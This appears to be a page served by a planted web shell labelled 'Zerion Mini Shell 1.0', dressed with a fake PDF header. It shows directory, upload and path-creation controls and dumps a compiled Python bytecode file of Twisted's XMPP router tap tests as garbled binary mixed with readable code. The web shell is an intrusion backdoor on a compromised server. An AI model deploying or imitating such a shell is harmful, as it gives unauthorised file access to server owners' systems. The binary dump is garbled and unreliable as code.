%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/words/test/__pycache__/test_xmpproutertap.cpython-312.pyc

�

Ϫ�f�	��b�dZddlmZddlmZddlmZddlm	Z	Gd�dej�Zy)	z+
Tests for L{twisted.words.xmpproutertap}.
�)�internet)�unittest)�
xmpproutertap)�	componentc�D�eZdZd	d�Zd	d�Zd	d�Zd	d�Zd	d�Zd	d�Zd	d�Z	y)
�XMPPRouterTapTestsNc�|�tj�}|jddg�|j|dd�y)z?
        The port option is recognised as a parameter.
        z--port�7001�portN��tap�Options�parseOptions�assertEqual��self�opts  �G/usr/lib/python3/dist-packages/twisted/words/test/test_xmpproutertap.py�	test_portzXMPPRouterTapTests.test_ports6���k�k�m�����(�F�+�,�����V��f�-�c�x�tj�}|jg�|j|dd�y)z=
        The port option has '5347' as default value
        rztcp:5347:interface=127.0.0.1Nrrs  r�test_portDefaultz#XMPPRouterTapTests.test_portDefaults2���k�k�m�����������V��&D�Erc�|�tj�}|jddg�|j|dd�y)zA
        The secret option is recognised as a parameter.
        z--secret�hushhush�secretNrrs  r�test_secretzXMPPRouterTapTests.test_secrets6���k�k�m�����*�j�1�2�����X��
�3rc�x�tj�}|jg�|j|dd�y)zA
        The secret option has 'secret' as default value
        rNrrs  r�test_secretDefaultz%XMPPRouterTapTests.test_secretDefault's1���k�k�m�����������X���1rc�x�tj�}|jdg�|j|d�y)z=
        The verbose option is recognised as a flag.
        �	--verbose�verboseN)r
rr�
assertTruers  r�test_verbosezXMPPRouterTapTests.test_verbose/s/���k�k�m�����+��'�����I��'rc�j�tj�}|jg�tj|�}|j	|t
j�|jd|jj�|jd|jj�|j}|j	|tj�|j	|jtj�|jd|j �|j#|j$�y)zD
        The service gets set up with a router and factory.
        z	127.0.0.1i�rN)r
rr�makeService�assertIsInstancer�StreamServerEndpointServicer�endpoint�
_interface�_port�factoryr�XMPPComponentServerFactory�router�Routerr�assertFalse�
logTraffic)rr�sr+s    r�test_makeServicez#XMPPRouterTapTests.test_makeService7s����k�k�m��������O�O�C� �����a��!E�!E�F�����a�j�j�&;�&;�<�����q�z�z�/�/�0��)�)�����g�y�'K�'K�L����g�n�n�i�.>�.>�?�����7�>�>�2�����+�+�,rc���tj�}|jdg�tj|�}|j	|j
j�y)z;
        The verbose flag enables traffic logging.
        r N)r
rrr%r"r+r0)rrr1s   r�test_makeServiceVerbosez*XMPPRouterTapTests.test_makeServiceVerboseGsC���k�k�m�����+��'��O�O�C� ������	�	�,�,�-r)�returnN)
�__name__�
__module__�__qualname__rrrrr#r2r4�rrrrs&��.�F�4�2�(�-� .rrN)�__doc__�twisted.applicationr�
twisted.trialr�
twisted.wordsrr
�twisted.words.protocols.jabberr�TestCaserr9rr�<module>r@s,���)�"�.�4�@.��*�*�@.r

Zerion Mini Shell 1.0